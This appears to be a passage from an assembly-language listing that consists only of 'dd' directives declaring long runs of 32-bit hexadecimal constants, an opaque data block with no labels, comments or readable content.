		dd 0BBA3B495h, 533FD9DEh, 77020512h, 0A89E1C3Ch, 0FBD0B3D4h
		dd 0B3907AB1h, 0EE73FD4Ah, 80161FEEh, 440CE291h, 0FEFC4C05h
		dd 27C5B038h, 0B379286Dh, 9941FDBBh, 2CC38F0Bh,	0A809940Bh
		dd 0AC58748Ah, 9FE9338Dh, 0ECC72E58h, 18660903h, 0DAEC2F32h
		dd 0E2E35999h, 55281A19h, 0E0FF24C0h, 6880E094h, 0E9D84542h
		dd 0F5843893h, 1D5D56A4h, 5448A963h, 0E7A818Fh,	55CBDA23h
		dd 0DA6A4BE7h, 0D1BA9D24h, 0F588F11Eh, 9560B28Bh, 4FCA8D1Eh
		dd 0B86A65B1h, 768B293Dh, 8F32F383h, 8EC5C105h,	8507FF9Dh
		dd 0F3D9614Dh, 0C52D7F5h
		dd 0DF990564h, 0DF68997Dh, 7EDAED4Bh, 1C6F56B2h, 0B54C0D1Ah
		dd 80D5370Dh, 17BD887Ah, 0B766C601h, 6DB58A9Ch,	0D595A9B5h
		dd 533DB646h, 907D9359h, 0E0027BCCh, 40159F84h,	95816F1h
		dd 0F1F98030h, 66D40604h, 1486126h, 0F23C18F7h,	9EAADC23h
		dd 0FF7BC58h, 0A2F1143Ch, 7C6B58D0h, 59674ED1h,	44348FF0h
		dd 0A83B80B3h, 9938B03Fh, 0A2029B80h, 39E4FF46h, 4F9E7F6Dh
		dd 1C66955h, 0F5A02FA5h, 0AF6CFF64h, 63C9897Ch,	5491B3E4h
		dd 21F08E62h, 404C1DA5h, 87923909h, 43056E08h, 0B0E52394h
		dd 0C6205927h, 6F3B713Fh, 5182C951h, 0E13AF2A8h, 1E8C89B5h
		dd 7790EB80h, 0F9D8B9F6h, 0C04F7301h, 86545D2Ch, 21F85351h
		dd 0F23C38E7h, 50820DDFh, 0B6F2B754h, 0F9791B0Ah, 0F5614416h
		dd 0C308BE94h, 0B8899053h, 574DAC28h, 0B81270A8h, 8900F940h
		dd 0B294B705h, 3EFC0F28h, 0F725D16Ah, 17CED7F5h, 1FC59C3Ah
		dd 1C0FB06Dh, 0DD493D2Ch, 68F3508Eh, 2BBC589Ch,	77891519h
		dd 0D03C7E0Ah, 0DFB65116h, 51F50BEBh, 0DAF52318h, 0DBB20FF2h
		dd 0C099EE6Ch, 0D91F8AB5h, 89E86DC1h, 0F9281753h, 1310120h
		dd 0D3DFA35Fh, 15931CD2h, 69C8FDFEh, 2C7FDAACh,	4C6A27A4h
		dd 99BD449h, 7C922434h,	2C1FCDC1h, 0BB14C7CBh, 0D167CEB3h
		dd 637A5C62h, 83F38D78h, 318A907h, 0FD620330h, 0FF61368h
		dd 764DBA76h, 0F00CC0E7h, 0EB9FAB0Eh, 0E23511C4h, 23F356D6h
		dd 404E2091h, 779D150Bh, 538C7E0Ch, 0D97A4DE1h,	8176FA4Fh
		dd 235B9165h, 52B6379Ah, 21C71E97h, 0C9F70331h,	25D01374h
		dd 0F6DC4571h, 0F575FDB2h, 66CC3CB4h, 51FA9126h, 430AFF9Bh
		dd 0CC2C6F38h, 0F80FF29Dh, 0D960B5DFh, 3955B495h, 4C413Dh
		dd 3168E471h, 4C80717Dh, 5821349Eh, 64054351h, 0BBB46583h
		dd 0C894FE8Dh, 0EFC06D53h, 915D827Eh, 0FF95A1AFh, 76F0997Dh
		dd 0DCDC9A57h, 0FC332313h, 0CFA0582Dh, 67AE6483h, 12C5ED0Fh
		dd 0B7828398h, 61D2AB0Fh, 6F89BAFEh, 82D545D5h,	0EF39FD2Ah
		dd 0A5868385h, 2DD01060h, 7230FA7Bh, 0B04D7475h, 76D08A5Ch
		dd 9FC3B126h, 0A7B59434h, 3C71E448h, 0CA6F00D1h, 0ACE9D338h
		dd 6C6E54C9h, 0D0D74ED1h, 81A54179h, 588B393Dh,	0B37ED52Fh
		dd 24058547h, 9AF4F27Ch, 19170FC1h, 5100D8D2h, 76A9C705h
		dd 0FB605EEh, 0C82FF57Bh, 0A5896684h, 27EF961Ah, 5C7C139h
		dd 7B6F3DC5h, 9DE53A5Bh, 1EEF1AA8h, 6533815Bh, 7635B1F5h
		dd 27524429h, 987D8A64h, 69D3E84Eh, 39D6F190h, 0BC53F1F2h
		dd 7070B7D8h, 8654FDE8h, 9120E4AFh, 6B1F3DB7h, 81A1FFF5h
		dd 67A93C78h, 755F0845h, 0F758A465h, 0D52AA694h, 0A8D9F45Eh
		dd 1EC08646h, 0AABD03D7h, 852B6A41h, 0B8B8B707h, 3F9E072Dh
		dd 33C06FB1h, 3945847Dh, 25BCDCC9h, 339C0287h, 3636B73Fh
		dd 2FBA33D5h, 2C099697h, 65EC76AFh, 3FDCE6D0h, 58274F38h
		dd 199F0922h, 0A1B0ADDEh, 90CBA8BCh, 0E53AE3E8h, 69DE959Ch
		dd 0CA0371C5h, 0BA539619h, 1131B1CCh, 0E3B0288Fh, 0E0B95A11h
		dd 0BEBF2CB0h, 0DC385F58h, 4ED37A4h, 2CE2E089h,	6C4A5439h
		dd 0D6E401A4h, 486D010Dh, 0F7FA8538h, 0D961A0CFh, 7CDCFF7Dh
		dd 47E4E28Ch, 7CEF7C68h, 0C06E022Dh, 2741847Fh,	32BEE0D9h
		dd 278C029Fh, 1636AF3Fh, 69B837C5h, 0B80E948Fh,	0BCD9F1ACh
		dd 0E659EAC8h, 5113D6E5h, 1A824F38h, 3E394DFBh,	52B2181Ch
		dd 0E5C689F9h, 0E2EF7D3Dh, 0BA3AC0Dh, 70DCA77Fh, 7FDCC75h
		dd 9654B735h, 40754126h, 0F2B3F4C7h, 5FD1DA23h,	0D1B2B364h
		dd 74349D97h, 29AB2D56h, 2F61AB58h, 0B82DAC9Ah,	2F13FD28h
		dd 0A535B03Fh, 8D407A74h, 17ED968Ch, 6417FF6Dh,	0A08908D2h
		dd 0CF3090A2h, 8B70C774h, 0F3C9897Fh, 0FD3C7917h, 0E476EA80h
		dd 0C0262D1Dh, 8728D6C8h, 53C236D6h, 5C66C61Dh,	993381BBh
		dd 0D6C145EEh, 0DB1BBB46h, 21BBE4ECh, 0E2E740B9h, 228A7784h
		dd 11D88DFBh, 0F574358Bh, 0EBD7A6EDh, 1989F1C2h, 0B233ADFCh
		dd 0DC2A0540h, 0CA676EA4h, 0CDA49728h, 945DD195h, 0D0074FAAh
		dd 0B8BD0435h, 1EB09538h, 0EFFFDBh, 0E9F037CAh,	2DE4FF05h
		dd 899EFF6Dh, 0A615270Ch, 0AE9D9B7Fh, 57A4FB1Dh, 67C6897Fh
		dd 0DDCAED77h, 57B099EFh, 0C340613Eh, 9F52EDDAh, 62984B27h
		dd 0DF76C61Eh, 0E80A0B38h, 55F3560Dh, 0CF66BA2Dh, 7C38E4B1h
		dd 9C634446h, 0BB71F3ECh, 0DD27EE8Dh, 0F59014ADh, 16AFECA4h
		dd 68FCE126h, 66C04923h, 0A3291FA8h, 12CA48E8h,	39C6F0C8h
		dd 7CF45F14h, 0AA774ED1h, 0B81EFF73h, 3E7F9538h, 0A010B240h
		dd 8DC07ADFh, 0D6E5A9F8h, 6617FFCCh, 0D66ED725h, 0A20E3C75h
		dd 4649009Ch, 931E72FEh, 3AB5EDB6h, 50AEF76Eh, 415C1D8Ah
		dd 872AACD9h, 0FD271BDAh, 5CDF2EF9h, 91B10ACBh,	2AB0AD88h
		dd 5242E590h, 6C91E829h, 0E0C8BE45h, 0C98A7186h, 0F9D87B1Bh
		dd 0F5EDC030h, 969355B4h, 14FD112Ah, 0E23B289Eh, 0DCA0B7A8h
		dd 8F2837A4h, 29C714C1h, 0BAD77Eh, 177F4ED1h, 0B8A10FF2h
		dd 0B37D7E38h, 5BF1A050h, 8D917A86h, 750FF28Ch,	67179D85h
		dd 0F0852351h, 75B9C7F4h, 4760E8D0h, 830E897Fh,	1DCAEDBCh
		dd 64DBEC7Ah, 874C1D69h, 872DBC23h, 0FE3784DCh,	5C66C6CEh
		dd 916E0A14h, 0F5BAC6Eh, 52426BF1h, 7038C4E9h, 0B0FBEC5h
		dd 0C9AB9A9Ch, 0F91FEDF2h, 0F5742410h, 82BC565Fh, 0D3FD0126h
		dd 0E23B9A77h, 51E9C4A8h, 8FEFB71Bh, 297B99CCh,	945CA495h
		dd 0D07B422Ah, 7BA1C471h, 5ACC29B5h, 0DD1A03Fh,	0EA704802h
		dd 7954C2CFh, 8C941AE4h, 0ACD3B759h, 0C7323BA1h, 47708B90h
		dd 0B5CDC988h, 8CAEDB6h, 14765AEAh, 495C58E3h, 0C2A04869h
		dd 0EA46E626h, 0D76AB57Ah, 6FF502A0h, 0A7C1D881h, 2EC13335h
		dd 18380726h, 6D5AEF00h, 9D7563EFh, 0A785EB7Dh,	70787DBBh
		dd 0EE673174h, 1C86BA1Ah, 0E2468024h, 18A9DFA8h, 9F9BBAA0h
		dd 0E92D479Ah, 0FF5EA495h, 0DCFA4615h, 33906E84h, 0B2F31A7Ch
		dd 5B31A167h, 3B8F7ECAh, 7B1BFECFh, 1A9CF7E2h, 8B896959h
		dd 7D36F37Fh, 3735B83Dh, 0B622897Fh, 4DA160E3h,	44602CFBh
		dd 404C1DEFh, 0DA2570AEh, 16056E78h, 2399B8Dh, 0CC9A83B8h
		dd 2A0F218Dh, 74245D9h,	641C4FE2h, 0A184904Eh, 88012C98h
		dd 0A530A1EAh, 76741C30h, 54094570h, 996D2122h,	0B73B6F0Bh
		dd 8A79FA21h, 8F9AE2F3h, 1AA14A6h, 8348A4E0h, 289B46A4h
		dd 0E59904BDh, 0D390CB67h, 0D0D2FDD3h, 45C45E0Dh, 2F62F6CDh
		dd 63AFFF6Dh, 8B85E451h, 0B6FD4CFBh, 1B618B94h,	0EBCB006Fh
		dd 0BDCAEDB4h, 4B8F5E55h, 0C04C1D6Bh, 870A08A3h, 45056FC2h
		dd 18ED91DFh, 0FB261ACFh, 5F80C4A0h, 0AD2655F9h, 6C38031Ch
		dd 0C586DC45h, 0C98A7D84h, 0D9FCB779h, 7E7C40BBh, 68D6B9C4h
		dd 2FD325D9h, 961F0C03h, 0AA1ED280h, 6423B2Fh, 0A0CB3080h
		dd 0D9A8DDh, 0A56F4A62h, 0B9806CE0h, 1E509538h,	0E99A88Ch
		dd 4D807A41h, 0C5EC41D8h, 66989BAEh, 0C185E451h, 0D1B50377h
		dd 0B7F65BC2h, 43EE35F2h, 0ACCAEDB7h, 21B8B756h, 404C1D6Bh
		dd 0B729CDAEh, 63156FB1h, 50374D95h, 0A87A5878h, 2FC5A47Fh
		dd 52424421h, 0D3B5C1E9h, 0E00FB8C5h, 0C9ADC209h, 0AAD8F5F2h
		dd 5C0AF61h, 9CBEADB4h,	0A0461075h, 692B0887h, 97A297E5h
		dd 8BB23EACh, 70CC7F45h, 7C2066CEh, 40FBDE41h, 28199462h
		dd 0CA3B05A8h, 31C130AFh, 0A3401241h, 2E0EF28Ch, 9103EA92h
		dd 5F26F451h, 0FA9C6F1h
		dd 0FFA00F5Ch, 0B0C869FCh, 5CCA923Ah, 0FC32D60Ah, 0D859E23Ah
		dd 403DB4D5h, 1700F3C3h, 5C66C691h, 6EFFC9FBh, 2A9710B3h
		dd 0D94245B9h, 3C3C26EDh, 7CAEBB2Fh, 999A7E81h,	4C4E20Dh
		dd 78B70030h, 9655A50Bh, 1442FC26h, 0B738E877h,	99A03A21h
		dd 0CA7967A8h, 29AB44C4h, 7D233834h, 0C5981EC1h, 0A971F9D2h
		dd 0D72B5665h, 0DFB18743h, 0E3045E05h, 0B545F2E6h, 3D07FE68h
		dd 38A1F1AEh, 0B7AD7F4h, 17350023h, 6376047Fh, 8ECAEDB7h
		dd 887758C0h, 40264D66h, 86282888h, 3FA3FD8h, 4C663BB5h
		dd 6E4BC88Ah, 5F4F53F1h, 0B9B4775Dh, 0E5E68B6Bh, 2354E535h
		dd 0C9ADC409h, 72D8F9F2h, 0A5702874h, 0AF4ADDEh, 44ED6023h
		dd 1F14DD88h, 1CAE0FA8h, 0C2222ABh, 0A40D152Ch,	0DD2083E9h
		dd 0C063BE15h, 0C96CFBA2h, 0FB9B95C4h, 449150F7h, 0C3D58511h
		dd 8874F270h, 7E170FA1h, 0B7901B01h, 23A9C708h,	0F35F04Ch
		dd 63DC762Fh, 0FEDAED4Bh, 0FCA34307h, 50DC8DF5h, 17BD24BAh
		dd 4595FF5Ah, 5C66C222h, 0C72800Bh, 3AB05CDAh, 473686FCh
		dd 5C2DFD79h, 6B1FBAB8h, 394EE480h, 1188EBF2h, 0A8BE26Bh
		dd 6DD6D6EDh, 0B527ED2Fh, 0F23858B3h, 0EC3EA0F8h, 2EE33759h
		dd 39CFE404h, 4C375BC5h, 714F4E2Ch, 0A961F43Eh,	6A8E6A68h
		dd 0F5E1A0C2h, 0A3808A91h, 18F10DDCh, 3407FF90h, 9C7A6D92h
		dd 123A227Dh, 5ABE5398h, 9EF50A77h, 0DCA1D73h, 4662A697h
		dd 0BA09F57Dh, 0E744BD4h, 0D6809389h, 5D0CCEE0h, 917C3DFBh
		dd 29DAF5EEh, 0ADBD88F1h, 50BB5C16h, 0E0FF7E58h, 0DFFF7A94h
		dd 0A924B879h, 90411CFh, 0D3DE8DB4h, 89F908DAh,	0F23878B3h
		dd 995F9543h, 4B1BE758h, 7033EB25h, 60C4A7FFh, 895B4ED1h
		dd 7DF40079h, 0A7B95C8h, 0A8A5B5C0h, 391B6A41h,	0B8A7AF60h
		dd 683043E0h, 4085E451h, 71BDE3B0h, 0FFF18598h,	0CC99997Fh
		dd 7D3695A2h, 53BE1087h, 0C04C1D64h, 870A08B9h,	43056FCEh
		dd 0B0E72318h, 91760B9Fh, 0A1E7FAADh, 17855664h, 6C380511h
		dd 5C4A7245h, 0C98A7B84h, 70D0BA79h, 0B0FFC875h, 5A100CB8h
		dd 140DF4E1h, 84386877h, 0DC629A6Fh, 37B1BAA4h,	0D6327C9Ch
		dd 0F17DDB6Ah, 3807F894h, 0B9511585h, 0D36B51BBh, 2BF125F9h
		dd 0B03BFA4Ah, 0A8346783h, 0AF9EFE8Dh, 7BF86737h, 7BB1B2D1h
		dd 0B2BCFFDAh, 0AACA62CEh, 18415DC4h, 29F45A2Bh, 175263BCh
		dd 4B683896h, 0DE5090C0h, 0D56A01EEh, 51F3C7E6h, 0E233A7BBh
		dd 5398A926h, 11390969h, 86FCAC35h, 0EC3C2907h,	7ABE2E86h
		dd 80770A4Dh, 6610863Eh, 14FF1ECFh, 0A738F77h, 0DCD01FA8h
		dd 8F18F263h, 0ED3A14CCh, 7C0844D0h, 92544ED1h,	0B9D9042Eh
		dd 850E5238h, 5611A03Fh, 0B4143F86h, 4564F28Ch,	5AEFBAAAh
		dd 0A09C0F51h, 88418243h, 6F35E601h, 2E078F8h, 1947E9B9h
		dd 0A23D37Eh, 83B458F6h, 0D72E05C9h, 16E3F3FAh,	59CF2D79h
		dd 55F50BABh, 0AF7626D6h, 0D2923539h, 4F4D2312h, 631BE9CEh
		dd 8C035144h, 598A8E6h,	7083FDB9h, 1D580874h, 0CC092563h
		dd 84C26DFEh, 0D828122Bh, 48CBDCE7h, 2A3BE089h,	60E1A495h
		dd 287B3350h, 0C4BEFB0Dh, 0A91E1E2Ah, 57F1A4B2h, 0A7367581h
		dd 0F2E6B601h, 18E3BAE4h, 3A86525Eh, 2E4153E1h,	63C2668Dh
		dd 0B6C98833h, 0B3F16D61h, 61B0D5ECh, 10A7E293h, 7F53A84h
		dd 47045ACh, 0DF7280EEh, 0D4FF0F73h, 0D6F024BAh, 11AE0510h
		dd 29FF3E02h, 0E00FAC29h, 4896BD84h, 627C98Fh, 0E70ACBCFh
		dd 1BB9383Fh, 0D4FF4122h, 6F25BE78h, 55019DECh,	80BE5BE1h
		dd 3FB3177Ah, 6C145C01h, 958FB9B7h, 6ABC04F3h, 0D282337h
		dd 56B71C57h, 0B1999251h, 0E6E7F28Ch, 30D77A65h, 0F05D6D59h
		dd 0C18171FBh, 0E6CA319Fh, 98C0189h, 0F1BF858Eh, 995BE818h
		dd 3A09DB79h, 0B7C6F0A2h, 7AFF1216h, 67E6C914h,	57717ED7h
		dd 69C155FBh, 2FC25E52h, 744D0853h, 954694C5h, 0C8F1D797h
		dd 79D552C4h, 8043B24Bh, 6C10A3B3h, 173D7257h, 1D4B6DFAh
		dd 55812057h, 39F1747Ch, 6FB444CCh, 399BF481h, 8F6F1E11h
		dd 3AB104E0h, 9DBE85FCh, 0D23CBB4Ah, 4AFF853Dh,	9DA17FDCh
		dd 5C96173Dh, 7106E451h, 297942FCh, 0A8C8C610h,	1C010A8Eh
		dd 5491B3EDh, 21F08E74h, 404C1DC1h, 87923EC1h, 95056F98h
		dd 5C962D40h, 97020BD3h, 2A40472Fh, 52288249h, 6F520803h
		dd 0E365AFAFh, 0C98A50ECh, 1F134132h, 0E088BC30h, 86559080h
		dd 14416CE5h, 6137C877h, 0DC21F395h, 898AB7B4h,	2AD6F86Dh
		dd 7C7A6785h, 0D4E94EBBh, 0BAD30498h, 5D0B9550h, 0B155C8FFh
		dd 0A03F6A41h, 4D640FB8h, 46A872AEh, 0E485E451h, 134FF6A2h
		dd 0C2098346h, 83C97B55h, 57D698B2h, 9AFA3BD5h,	4915E286h
		dd 0F3DB3604h, 8B31E6A8h, 4C66375Dh, 1170CCADh,	0A194449Eh
		dd 0A066DC7Dh, 0EF5E1829h, 0EE7AAE7Dh, 0ED17650Fh, 9FC82B00h
		dd 0A08AEF7h, 17165C5Fh, 14FE11DDh, 6B81DA77h, 1F8A0158h
		dd 8FD84B29h, 2A00A841h, 2912A495h, 3B7CAB58h, 0EEF757FAh
		dd 0D80BC8B3h, 66F6D5E4h, 0B4A49381h, 0D782F28Ch, 0C732996Eh
		dd 0FC0C8251h, 0A0664E0Ah, 5735E649h, 83C99AC8h, 906F1EB2h
		dd 6FBA9BDAh, 80F9071h,	0A3DF04Ah, 558C27DFh, 14254861h
		dd 1C5A485Ah, 6939E62Dh, 1A01CC01h, 0E1084860h,	0A386E686h
		dd 0E1C9DF98h, 72F86E7Bh, 0CDF7A875h, 515C28C6h, 14FEF963h
		dd 0C5DC8877h, 5CDEDA23h, 868AC09Ch, 30DC510Bh,	971CA495h
		dd 0DBBEC5C2h, 0B6C83C72h, 0BC6845ADh, 0B752E83Eh, 4205F357h
		dd 539CB707h, 4BE9BADAh, 32E31C14h, 194EA1F7h, 7D40009Eh
		dd 59C86122h, 4C93124Dh, 0ECB73A59h, 85C71D78h,	0E51533C0h
		dd 0E16362EBh, 2966E572h, 9AF56DF2h, 25BF455Eh,	0B2C1428Eh
		dd 6FC088AAh, 6369B131h, 8C01508Fh, 0BC516FFEh,	974F203Ch
		dd 0D3DE95C0h, 3FC7B12Ah, 9FB4A003h, 0F4A6DFA0h, 0DFCC722Fh
		dd 7A26A3C3h, 2C16E11Eh, 0D7ED4439h, 0B55587F2h, 0DFFFD6B1h
		dd 2A31A444h, 22E82963h, 61B0D65h, 5FFC3F5Ch, 0BD9199D2h
		dd 0FEEACC89h, 0C8CAE91Ah, 4809B828h, 498F66BFh, 44379010h
		dd 0BFB3F56Fh, 0D9726B44h, 4BE9E6DBh, 7BDA48CEh, 91760BE3h
		dd 2A9712C3h, 0F34241D9h, 7C38F3F9h, 1883ACFCh,	0CEFD4C84h
		dd 0F9C22F1Ah, 546E7730h, 8655B524h, 9DFE71ABh,	0E2CFD862h
		dd 0F88694B8h, 0AD43EA0h, 3A22E380h, 29E72D56h,	3B70AB58h
		dd 0EECF57FAh, 0D9C3C8B3h, 3D5FD5E4h, 40499247h, 983D0D73h
		dd 42170728h, 0FA42E451h, 12B9C708h, 0B415EB9Dh, 57427534h
		dd 0BD38C936h, 18F3568Eh, 4A44D74h, 0DED24C31h,	1278AF07h
		dd 0A39E888Ah, 108A4E14h, 2BB05223h, 853E41F9h,	0A4D00D43h
		dd 0B9F057BFh, 2272180Fh, 0FA2F5580h, 0F102B830h, 0F1B17585h
		dd 0FFF722ADh, 0F274A340h, 8A82AF81h, 0DFC5742Fh, 2A388624h
		dd 70DE2795h, 286A8958h, 0FA0A188Dh, 4C981C30h,	0DE79E3B4h
		dd 0F90B6202h, 6EA77B84h, 431C7E0Bh, 7E4D6753h,	0F0B8EA1Fh
		dd 552573A6h, 4B8A02B5h, 0FBDAAE3Ah, 2033D069h,	33C7180Fh
		dd 0C2E58C7h, 0E16363F7h, 2826C506h, 890582F6h,	5939ADC5h
		dd 0D8270A9h, 80B151B7h, 1F866B98h, 0C9ADE209h,	0ACD835F2h
		dd 19F471B9h, 1D0CEEB0h, 0FCAC497Bh, 0E2371668h, 232CA2F1h
		dd 0B9B5485Bh, 5E21EF4Fh, 7E1F2790h, 0D68154A4h, 0B997021Ah
		dd 1922CC38h, 0BF53CAC3h, 0BB4067BAh, 0A23179D5h, 5E633D54h
		dd 9E680C02h, 5AE0C7F4h
		dd 0D3951562h, 0B34C9971h, 0BFBE9C7h, 0F9CCDB75h, 0D04CE1EAh
		dd 6F7E7541h, 160573F9h, 0DFBE4C58h, 511D141Bh,	0EB6A271Ah
		dd 46C94443h, 6D3F023Ch, 0E24B6D55h, 3F0F5F80h,	118E3B86h
		dd 0A88640Bh, 699226EDh, 0D4CE73CDh, 0EBDB329h,	635E1CF5h
		dd 8FC237A4h, 2A06A841h, 2FE6A495h, 0F3BBC587h,	0B26C3FFEh
		dd 2FAB9430h, 0D3692924h, 7B6B65A1h, 983E7BA8h,	599CFA97h
		dd 8482ECC4h, 4FD31E4h,	7400199h, 9C3CDB99h, 0D4CA2A4Ch
		dd 2F33D39Eh, 59A7E2B2h, 995C5B9Ah, 455C6F88h, 0A399DFF5h
		dd 57FF55FCh, 3471465Dh, 0DB1B4259h, 0AF635499h, 0E028D748h
		dd 0C9ADE409h, 72D839F2h, 0A573A874h, 96447B5Ch, 993C3826h
		dd 6934EF0Bh, 57D73BE4h, 7CA93E0h, 0AA27FF0Eh, 7F95A4ACh
		dd 96208EE0h, 490C15CAh, 0D1485DB1h, 5918743h, 57439FC8h
		dd 4EFA188h, 56547465h,	0F195A76Ah, 0EB79F6F3h,	1F350044h
		dd 36CA3E7Eh, 3DCA7DB1h, 18312B1Ch, 0C3FB125Ah,	2ED1F643h
		dd 1605EF8Ah, 0DFB65016h, 0B43E0DEBh, 2AB0EE1Eh, 5240427Ch
		dd 906D8129h, 6969684Ch, 0CA033F54h, 1027F371h,	0F57788ADh
		dd 0B35922BBh, 14FFF126h, 0E254A84Ah, 57CB2AA8h, 0CCF83BE7h
		dd 793F63DCh, 831FDA7Dh, 175A172Eh, 72E20186h, 3AED7EC7h
		dd 5CF1A3C8h, 0F80D7234h, 50A7C9C4h, 1DFCFD19h,	8987E439h
		dd 8CE02FF4h, 8E6CFF62h, 0C34C8132h, 5E47F7C6h,	24705AD7h
		dd 0C9445EFEh, 0C4A6A388h, 558C2F84h, 0B96F2D19h, 0B79DF3ECh
		dd 6ABB2D88h, 0DB4A0192h, 2FB31DAAh, 0E20FAFCDh, 8A035A84h
		dd 0F19BB6FEh, 7E5BC7B9h, 0D5D395F7h, 0F01E6916h, 0A1BF7788h
		dd 0C89F16A0h, 6CFF42Fh, 0AB4A0C8Fh, 4D8CA49Eh,	3B521511h
		dd 45E0C7AFh, 5C4C29B5h, 3D1A03Fh, 0A86436CAh, 5440B607h
		dd 1C9C3CE5h, 816EEC75h, 7ECCDDCCh, 7DED014h, 0FA4CC033h
		dd 0BDFB1FC6h, 53BE10C4h, 0C04C1D74h, 870A0F59h, 45056F8Eh
		dd 0A3907FF9h, 0A963F3E4h, 89A0AE03h, 4242B41Dh, 93C7F294h
		dd 0D10BD0BAh, 0A3B1B044h, 845D7BAh, 7C2E7FCFh,	0E29A0077h
		dd 305EE237h, 0B2246881h, 2020CA57h, 4F4127A4h,	0EA1C10B9h
		dd 94BDBC7Eh, 0D7D74E9Ah, 8644FBABh, 0D56B95C5h, 547A233Ch
		dd 0B801C2BEh, 98BFF28Ch, 493043E0h, 6585E451h,	8946316Fh
		dd 1113D1Ch, 0DC369970h, 4EBE1252h, 0ACC5F7C2h,	55B34D5Ch
		dd 972D4EA5h, 0E02162D3h, 9F99D5EDh, 9151702Eh,	2A971D43h
		dd 1425CD9h, 641C6DE2h,	0A8B6874Ch, 0F88A3484h,	2E513632h
		dd 7C2896C3h, 0A219CA64h, 4F857BEh, 0E3220BB0h,	87D81FA8h
		dd 8FB33A67h, 2A3DA841h, 2FC8A495h, 4706B187h, 33C9040Eh
		dd 0A96F34FEh, 0AD41B03Fh, 0BC3D3E54h, 0D6A77B9Ch, 0D02B8AADh
		dd 9F580C18h, 3BE03814h, 0BF5855Dh, 0F768DA55h,	0EDDAED58h
		dd 90CFC69Fh, 0C90D4Fh,	6F7EA692h, 0E9FA90DDh, 60733AB0h
		dd 18660C56h, 2EFB22DDh, 384AB706h, 6C91D928h, 0B6565C45h
		dd 3536207Bh, 215173F2h, 78B4636Eh, 965A750Bh, 14475C26h
		dd 0B1322877h, 0D4FC0323h, 79E90A25h, 0D5E404CCh, 7BE5B6Ah
		dd 0D97A9554h, 0BA372053h, 4AA4C528h, 42715D7Bh, 6705B9C8h
		dd 116FA5F8h, 9BFFAF4Dh, 287A1BB0h, 0FE9D8460h,	98D51676h
		dd 8042D08Ch, 9122BD86h, 75CC2C80h, 10605EC4h, 78CDB10Fh
		dd 558E36ABh, 0A48E95D5h, 0C889F36Ch, 1784E225h, 4242AA01h
		dd 2FB33A9Dh, 4E70CF1h,	9075C95Bh, 0A9E42679h, 0AA8EED8h
		dd 7E09244Bh, 0EB071EF5h, 4332622Eh, 0CCD9698Ch, 73D848F4h
		dd 71081430h, 0F72B2D56h, 870F6A95h, 4781110Dh,	0D2E88538h
		dd 1518743h, 0E1CB2D17h, 7ADAE2A8h, 4F07FF9Bh, 69BDD14h
		dd 21B8ADD6h, 876504D8h, 0F3C99570h, 74C2292Dh,	13CC52A7h
		dd 0B4B3E2B1h, 0F2D236E4h, 952F8454h, 4912C41Eh, 0D7FD0CD1h
		dd 0CA58F1BAh, 0D1425CA2h, 2AB3386Dh, 37F00F41h, 3642B4DDh
		dd 3F5B7119h, 8D89B138h, 0E44A6542h, 30BC7A92h,	0F7CCB863h
		dd 0CCD922E4h, 4C9569FBh, 2A3EA841h, 14D6A495h,	0C70648D1h
		dd 47E1110Dh, 0D2F88538h, 6B18743h, 51839FC8h, 869A184h
		dd 0B0E8AF95h, 65851900h, 2D418260h, 5ABEFCCBh,	0F3C88F73h
		dd 0DBCEF025h, 641AC361h, 5C5C757h, 7B783A19h, 9DFD2AD3h
		dd 0C3439A8h, 811E0CA9h, 0C2B0A1A9h, 52424116h,	31D4B932h
		dd 0E070D206h, 0C9AD8C09h, 0ACD869F2h, 19F4C9B9h, 0C10C3ED0h
		dd 14FC614Eh, 0D3E2077h, 5580E057h, 0FA0E3267h,	0C2077EC4h
		dd 832F5A6Ah, 0DF1EC788h, 7DA905F5h, 5E039D3Dh,	5391802Fh
		dd 7BD89141h, 8A64F6CFh, 59E8006Eh, 72C622AFh, 0AAFA00E1h
		dd 5F35009Eh, 32ED4AF0h, 2DCBEAA6h, 6C375364h, 0B28F2449h
		dd 2F683E38h, 4210900Ah, 3A76C504h, 91AC7148h, 2BB32591h
		dd 2FC15D79h, 0E83730F5h, 0E00F5EBCh, 4256740Fh, 99DE2F2h
		dd 76AB6DBBh, 0D3D35174h, 0E4BC9ADAh, 0E3CFFDFCh, 248CD66Ah
		dd 8FC73799h, 0ED006ACCh, 74D254D0h, 0D6C14ED1h, 51A104F2h
		dd 5B9BFD6Ch, 3F19A03Fh, 0E47F85AFh, 8C613105h,	0AFB6F518h
		dd 0F095E558h, 0DA5237AEh, 4F801C17h, 0D98874h,	1CC2E5ABh
		dd 34D8F371h, 40485E8Fh, 78D2B024h, 55C390A3h, 1FA1CFF0h
		dd 91760CDBh, 0E73236Eh, 5AF75992h, 692832EEh, 0E00F5A45h
		dd 11F8F1BDh, 99DE6B4h,	0FD7F2109h, 37264DB5h, 7412FE17h
		dd 69CBCDFCh, 2325A2A8h, 0C8BB485Bh, 25F84147h,	0BE2BB623h
		dd 0D77B4ED0h, 785E3D86h, 5EEB9530h, 0AC81AB4Ah, 0A2BD2254h
		dd 38A4779Ch, 23EF764Bh, 0BBEEFBB0h, 5B434ECFh,	5BBE0564h
		dd 0B2CE81E6h, 7FD660BEh, 67CB96EAh, 4B4F9448h,	87A74FA9h
		dd 51012CD6h, 0D79A800Eh, 51F5F49Eh, 0D2F5297Ah, 2EB22002h
		dd 7C70232h, 0F5847D82h, 0D98B348Ch, 78DA737Fh,	0A88DF0Bh
		dd 3CDF4A4Bh, 0D2F93126h, 67B26C34h, 1BD3AA57h,	702693E1h
		dd 3BEEEB33h, 73DF5B16h, 37F49E45h, 456501F3h, 1B726AC7h
		dd 0F7742B9Bh, 0DE158511h, 0C6F4F270h, 5E2A0B28h, 97A1BAFh
		dd 62FC4C85h, 6F20FFCEh, 2AD9898Eh, 9D4F01EBh, 0B9CC8E15h
		dd 504CE014h, 78B1F664h, 16F83355h, 3664AF9Dh, 1C7666E2h
		dd 7AE2001Bh, 2B61852h,	3CA476E2h, 1D6F4C3Ah, 90F2C84h
		dd 0BC537786h, 1329590h, 1FAE083Fh, 0F8BCAA25h,	0E233B752h
		dd 0DE229CA8h, 0C450B1D1h, 37E954C8h, 5934E11Eh, 0D7734E2Eh
		dd 0CF9AFC71h, 5A801528h, 0D31B4B37h, 49807E0Ah, 4B2F7288h
		dd 5D94B8EDh, 4F09EB53h, 33463814h, 2F340896h, 37DC7623h
		dd 0E2DAED52h, 80BA8838h, 3FC5DE16h, 870A0F63h,	45056F42h
		dd 0DFBDF4DFh, 967E91D7h, 5EB0B05Fh, 0CF76D6BCh, 7C393421h
